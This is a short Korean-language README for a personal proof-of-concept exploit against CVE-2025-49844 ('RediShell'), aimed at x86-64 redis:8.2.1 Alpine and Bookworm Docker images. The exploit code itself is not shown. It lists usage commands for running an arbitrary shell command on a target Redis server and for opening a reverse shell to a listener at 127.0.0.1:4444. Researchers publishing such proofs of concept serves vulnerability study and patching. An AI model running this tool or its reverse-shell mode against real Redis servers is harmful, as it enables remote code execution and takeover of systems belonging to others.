CVE-2025-49844

CVE-2025-49844, 일명 RediShell로도 알려진 제 개인 proof-of-concept입니다.

지원 대상 빌드:

• x86-64 Linux redis:8.2.1-alpine Docker 이미지
• x86-64 Linux redis:8.2.1-bookworm Docker 이미지

조금 투박하고, 아마 Wiz Research의 것만큼 훌륭하지는 않을 것입니다. 그래도 Hexacon 2025 발표 영상이 업로드되기 전에 작동하도록 만든 것에 만족하며, 조사하는 과정이 매우 즐거웠습니다.

사용법

단방향 셸 명령 실행:

$ uv run cve-2025-49844 command "echo 'hello world' > /data/hello.txt"

리버스 셸 연결:

$ uv run cve-2025-49844 rshell -l 127.0.0.1 -p 4444